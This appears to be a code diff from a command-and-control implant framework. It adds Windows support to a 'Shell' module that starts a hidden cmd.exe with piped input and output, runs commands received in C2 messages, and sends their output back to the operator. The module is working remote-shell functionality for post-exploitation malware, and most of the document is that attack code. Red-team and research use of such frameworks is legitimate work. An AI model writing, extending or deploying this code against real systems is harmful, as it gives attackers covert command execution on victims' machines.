77#include < unistd.h>
88#include < sys/select.h>
99#include < sys/wait.h>
10+ #elif _WIN32
11+ #include < windows.h>
1012#endif
1113#include < chrono>
1214
@@ -34,10 +36,17 @@ Shell::Shell()
3436 : ModuleCmd(" " , moduleHash)
3537#endif
3638{
39+ #ifdef _WIN32
40+ ZeroMemory (&m_pi, sizeof (m_pi));
41+ m_hChildStdoutRd = NULL ;
42+ m_hChildStdinWr = NULL ;
43+ m_program = " cmd.exe /Q /K" ;
44+ #else
3745 m_masterFd = -1 ;
3846 m_pid = -1 ;
39- m_started = false ;
4047 m_program = " /bin/bash" ;
48+ #endif
49+ m_started = false ;
4150}
4251
4352Shell::~Shell ()
@@ -107,8 +116,54 @@ int Shell::startShell()
107116 m_pid = pid;
108117 m_started = true ;
109118 return 0 ;
110- #else
111- return 1 ;
119+ #elif _WIN32
120+ if (m_started)
121+ return 0 ;
122+
123+ SECURITY_ATTRIBUTES saAttr;
124+ saAttr.nLength = sizeof (SECURITY_ATTRIBUTES);
125+ saAttr.bInheritHandle = TRUE ;
126+ saAttr.lpSecurityDescriptor = NULL ;
127+
128+ HANDLE outRd = NULL , outWr = NULL ;
129+ HANDLE inRd = NULL , inWr = NULL ;
130+
131+ if (!CreatePipe (&outRd, &outWr, &saAttr, 0 ))
132+ return 1 ;
133+ if (!SetHandleInformation (outRd, HANDLE_FLAG_INHERIT, 0 ))
134+ return 1 ;
135+ if (!CreatePipe (&inRd, &inWr, &saAttr, 0 ))
136+ return 1 ;
137+ if (!SetHandleInformation (inWr, HANDLE_FLAG_INHERIT, 0 ))
138+ return 1 ;
139+
140+ STARTUPINFOA si;
141+ PROCESS_INFORMATION pi;
142+ ZeroMemory (&si, sizeof (si));
143+ si.cb = sizeof (si);
144+ si.hStdError = outWr;
145+ si.hStdOutput = outWr;
146+ si.hStdInput = inRd;
147+ si.dwFlags |= STARTF_USESTDHANDLES;
148+
149+ ZeroMemory (&pi, sizeof (pi));
150+
151+ BOOL ok = CreateProcessA (NULL , const_cast <LPSTR>(m_program.c_str ()), NULL , NULL , TRUE ,
152+ CREATE_NO_WINDOW, NULL , NULL , &si, &pi);
153+ CloseHandle (outWr);
154+ CloseHandle (inRd);
155+ if (!ok)
156+ {
157+ CloseHandle (outRd);
158+ CloseHandle (inWr);
159+ return 1 ;
160+ }
161+
162+ m_hChildStdoutRd = outRd;
163+ m_hChildStdinWr = inWr;
164+ m_pi = pi;
165+ m_started = true ;
166+ return 0 ;
112167#endif
113168}
114169
@@ -125,6 +180,22 @@ void Shell::stopShell()
125180 m_masterFd = -1 ;
126181 m_pid = -1 ;
127182 m_started = false ;
183+ #elif _WIN32
184+ if (!m_started)
185+ return ;
186+
187+ DWORD written = 0 ;
188+ const char * exitCmd = " exit\n " ;
189+ WriteFile (m_hChildStdinWr, exitCmd, (DWORD)strlen (exitCmd), &written, NULL );
190+ WaitForSingleObject (m_pi.hProcess , INFINITE);
191+ CloseHandle (m_hChildStdinWr);
192+ CloseHandle (m_hChildStdoutRd);
193+ CloseHandle (m_pi.hProcess );
194+ CloseHandle (m_pi.hThread );
195+ m_hChildStdinWr = NULL ;
196+ m_hChildStdoutRd = NULL ;
197+ ZeroMemory (&m_pi, sizeof (m_pi));
198+ m_started = false ;
128199#endif
129200}
130201
@@ -200,8 +271,72 @@ int Shell::process(C2Message &c2Message, C2Message &c2RetMessage)
200271
201272 c2RetMessage.set_instruction (c2Message.instruction ());
202273 c2RetMessage.set_returnvalue (output);
203- #else
204- c2RetMessage.set_errorCode (1 );
274+ #elif _WIN32
275+ if (!m_started)
276+ {
277+ if (!cmd.empty ())
278+ m_program = cmd;
279+ if (startShell () != 0 )
280+ {
281+ c2RetMessage.set_errorCode (1 );
282+ return 0 ;
283+ }
284+ if (cmd.empty ())
285+ {
286+ c2RetMessage.set_instruction (c2Message.instruction ());
287+ c2RetMessage.set_returnvalue (" shell started" );
288+ return 0 ;
289+ }
290+ }
291+
292+ if (cmd == " exit" )
293+ {
294+ stopShell ();
295+ c2RetMessage.set_instruction (c2Message.instruction ());
296+ c2RetMessage.set_returnvalue (" shell terminated" );
297+ return 0 ;
298+ }
299+
300+ if (!cmd.empty ())
301+ {
302+ DWORD written = 0 ;
303+ std::string send = cmd + " \n " ;
304+ WriteFile (m_hChildStdinWr, send.c_str (), (DWORD)send.size (), &written, NULL );
305+ }
306+
307+ std::string output;
308+ char buffer[512 ];
309+ DWORD bytes = 0 ;
310+ auto end = std::chrono::steady_clock::now () + std::chrono::seconds (5 );
311+ while (std::chrono::steady_clock::now () < end)
312+ {
313+ DWORD avail = 0 ;
314+ if (!PeekNamedPipe (m_hChildStdoutRd, NULL , 0 , NULL , &avail, NULL ))
315+ break ;
316+ if (avail)
317+ {
318+ if (ReadFile (m_hChildStdoutRd, buffer, min<DWORD>(sizeof (buffer), avail), &bytes, NULL ) && bytes > 0 )
319+ {
320+ output.append (buffer, bytes);
321+ end = std::chrono::steady_clock::now () + std::chrono::seconds (2 );
322+ }
323+ else
324+ {
325+ break ;
326+ }
327+ }
328+ else if (!output.empty ())
329+ {
330+ break ;
331+ }
332+ else
333+ {
334+ Sleep (100 );
335+ }
336+ }
337+
338+ c2RetMessage.set_instruction (c2Message.instruction ());
339+ c2RetMessage.set_returnvalue (output);
205340#endif
206341 return 0 ;
207342}
0 commit comments